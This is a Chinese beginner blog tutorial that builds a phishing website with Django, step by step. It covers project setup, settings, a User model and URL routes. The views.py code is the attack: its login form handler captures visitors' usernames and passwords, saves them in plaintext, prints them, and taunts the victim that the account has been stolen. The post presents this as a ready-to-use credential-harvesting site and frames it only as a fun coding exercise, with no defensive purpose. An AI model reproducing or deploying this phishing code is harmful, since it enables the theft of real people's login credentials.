• 【Python案例】——利用Django搭建一个钓鱼网站【轻松入门】


    目录

    (1)最终实现效果​编辑

    (2)安装Django模块

    (3)创建Django项目

     (4)查看项目是否环境配置成功

    (5)点击进入settings.py文件,进行定制化修改 

    (6)导入所需文件

    (7)编写数据模型 

    (8)编写视图

    (9)在urls.py文件里编写路由


    🌞哈喽,大家好丫,你们的小郭子又来啦 ~

     话不多说,直接上干货,嘻嘻嘻 ~

                            

     

    (1)最终实现效果

     

     

    (2)安装Django模块

    pip install django[==版本]
    

    如:pip install django==3.0 安装django的指定版本

    (3)创建Django项目

    在命令指示符里数据命令

     manage.py是命令文件,如果要运行Django内置的命令,必须要通过这个文件才行

    创建子应用
    把网站的各个模块拆分成子应用

    python manage.py startapp login
    

     

     (4)查看项目是否环境配置成功

    可以用pycharm直接打开文件,然后点击运行

    运行后会给出一段域名,点击打开 

    如果出现下面的页面,就说明该项目环境配置成功了 

    (5)点击进入settings.py文件,进行定制化修改 

     

    Application definition 网站子应用进行注册,在最后一行写入login

    1. # Application definition
    2. # 网站子应用进行注册
    3. INSTALLED_APPS = [
    4. 'django.contrib.admin',
    5. 'django.contrib.auth',
    6. 'django.contrib.contenttypes',
    7. 'django.contrib.sessions',
    8. 'django.contrib.messages',
    9. 'django.contrib.staticfiles',
    10. 'login',
    11. ]

    创建一个templates文件,并修改代码

    1. # templates 文件夹的配置项
    2. TEMPLATES = [
    3. {
    4. 'BACKEND': 'django.template.backends.django.DjangoTemplates',
    5. 'DIRS': [os.path.join(BASE_DIR, 'templates')],
    6. 'APP_DIRS': True,
    7. 'OPTIONS': {
    8. 'context_processors': [
    9. 'django.template.context_processors.debug',
    10. 'django.template.context_processors.request',
    11. 'django.contrib.auth.context_processors.auth',
    12. 'django.contrib.messages.context_processors.messages',
    13. ],
    14. },
    15. },
    16. ]

    配置网站默认语言、时间

    1. # 网站默认语言 英文 修改成中文
    2. LANGUAGE_CODE = 'zh-hans'
    3. # 当前时间
    4. TIME_ZONE = 'Asia/Shanghai'
    5. USE_I18N = True
    6. USE_L10N = True
    7. USE_TZ = False

    静态页面当中的文件夹配置,并在总目录中创建一个static文件夹

    1. STATIC_URL = '/static/'
    2. STATICFILES_DIRS = [ os.path.join(BASE_DIR, 'static'),]

    (6)导入所需文件

    (7)编写数据模型 

    打开**models.py文件,需要去创建一个模型类

    1. from django.db import models
    2. # Create your models here.
    3. class User(models.Model):
    4. name = models.CharField(max_length=20)
    5. pwd = models.CharField(max_length=20)

    (8)编写视图

    打开views.py文件,编写视图,是控制网站与用户的交互逻辑

    1. # 渲染html文件到浏览器的
    2. from django.shortcuts import render
    3. from django.views.generic import View
    4. from .models import User
    5. from django.http import HttpResponse
    6. # Create your views here.
    7. # 在浏览器中显示网站首页
    8. def index(request):
    9. return render(request, 'index.html')
    10. # 登录类视图
    11. class Login(View):
    12. def get(self, request):
    13. return render(request, 'denlu.html', locals())
    14. '''
    15. 当用户在页面中输入了一些数据
    16. 可以使用post去做接收
    17. '''
    18. def post(self, request):
    19. name = request.POST.get('username')
    20. pwd = request.POST.get('password')
    21. User.objects.create(name=name, pwd=pwd).save()
    22. print(name)
    23. print(pwd)
    24. return HttpResponse('你的账号已经被盗, 溜了 溜了~')

    (9)在urls.py文件里编写路由

    1. from django.contrib import admin
    2. from django.urls import path
    3. from login.views import index, Login
    4. urlpatterns = [
    5. path('admin/', admin.site.urls),
    6. path('', index, name='index'),
    7. path('login/', Login.as_view(), name='login')
    8. ]

     好啦,今天的分享到这里就结束啦 ~🌞🌞

    觉得我分享的文章不错的话,可以关注一下哦,嘻嘻嘻🌞🌞

                                           

  • 相关阅读:
    (c语言进阶)指针的进阶
    2022年 SecXOps 安全智能分析技术白皮书 附下载地址
    【2023研电赛】安谋科技企业命题二等奖:基于R329的AI交互早教机器人
    DVWA安装教程(懂你的不懂·详细)
    Stable Diffusion之最全详解图解
    CocosCreator3.8研究笔记(二十三)CocosCreator 动画系统-动画编辑器相关功能面板说明
    linux系统编程之二
    基于AI智能分析网关的智慧视频监控系统一站式解决方案
    设计模式 — — 前端
    CMake生成Visual Studio工程
  • 原文地址:https://blog.csdn.net/weixin_51331210/article/details/127361021